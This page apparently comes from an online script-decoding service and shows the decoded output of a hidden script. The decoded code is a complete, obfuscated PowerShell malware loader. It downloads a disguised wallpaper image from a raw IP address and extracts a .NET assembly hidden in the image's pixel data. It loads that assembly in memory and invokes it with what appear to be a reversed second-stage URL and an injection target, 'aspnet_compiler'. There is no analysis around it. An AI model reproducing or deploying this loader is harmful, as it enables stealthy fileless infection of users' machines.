Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$fascist = [System.Convert]::FromBase64String('VkFJ');
$consents = [System.Text.Encoding]::UTF8.GetString($fascist);
$barefooted = [System.Convert]::Frombase64String('Q2xhc3NMaWJyYXJ5MS5Ib21l');
$originant = [System.Text.Encoding]::UTF8.GetString($barefooted);
Add-Type -AssemblyName System.Drawing;
$Omdurman='http://87.106.188.21/xampp/cv/wp4096799-lost-in-space-wallpapers.jpg';
$irrelevantly=New-Object System.Net.WebClient;
$irrelevantly.Headers.Add('User-Agent','Mozilla/5.0');
$colas=$irrelevantly.DownloadData($Omdurman);
$cakes=[byte[]](0x42, 0x4D, 0x46, 0xC0, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x8C, 0x35, 0x00, 0x00, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x3E, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0xC4, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
$Machen=-1;
for($fandub=0;
$fandub -le $colas.Length-$cakes.Length;
	$fandub++){
	 $trivialize=$true;
	for($wienerwurst=0;
	$wienerwurst -lt $cakes.Length;
		$wienerwurst++){
			if($colas[$fandub+$wienerwurst] -ne $cakes[$wienerwurst]){
			$trivialize=$acitretin;
			break
		}
	}
		if($trivialize){
		$Machen=$fandub;
		break
	}
}
	if($Machen -eq -1){
	return
};
$proteoplasts=$colas[$Machen..($colas.Length-1)];
$brosy=New-Object IO.MemoryStream;
$brosy.Write($proteoplasts,0,$proteoplasts.Length);
$brosy.Seek(0,'Begin')|Out-Null;
$tarnished=[Drawing.Bitmap]::FromStream($brosy);
$hauranitic=New-Object Collections.Generic.List[Byte];
for($hydralike=0;
$hydralike -lt $tarnished.Height;
	$hydralike++){
	for($scandalisation=0;
	$scandalisation -lt $tarnished.Width;
		$scandalisation++){
		$trenchmaster=$tarnished.GetPixel($scandalisation,$hydralike);
		$hauranitic.Add($trenchmaster.R);
		$hauranitic.Add($trenchmaster.G);
		$hauranitic.Add($trenchmaster.B)
	}
};
$arrhemon=[BitConverter]::ToInt32($hauranitic.GetRange(0,4).ToArray(),0);
$sandat=$hauranitic.GetRange(4,$arrhemon).ToArray();
$topazolite=[Convert]::ToBase64String($sandat).Replace('A','@').Replace('@','A');
$duction='=QHe05yMiRzM4UTY0MWOmZDNzMGOwEmZ0gTMjJmYjFTN1kzMy81b2lWdxJXYvMjMuUTOuUDNy4iM3EzLvoDc0RHa'.Replace('~~','t');
$polysepalous=[Convert]::FromBase64String($topazolite);
$ceryl=[Reflection.Assembly]::Load($polysepalous);
$subminimum=@($duction,'','','','aspnet_compiler','','','','','C:\Users\Public\Downloads','reviled','','','','PGSEM','2','');
$ceryl.GetType($originant).GetMethod($consents).Invoke($thyrohyoid,$subminimum);
$tarnished.Dispose();
$brosy.Dispose()



© 2023 Quttera Ltd. All rights reserved.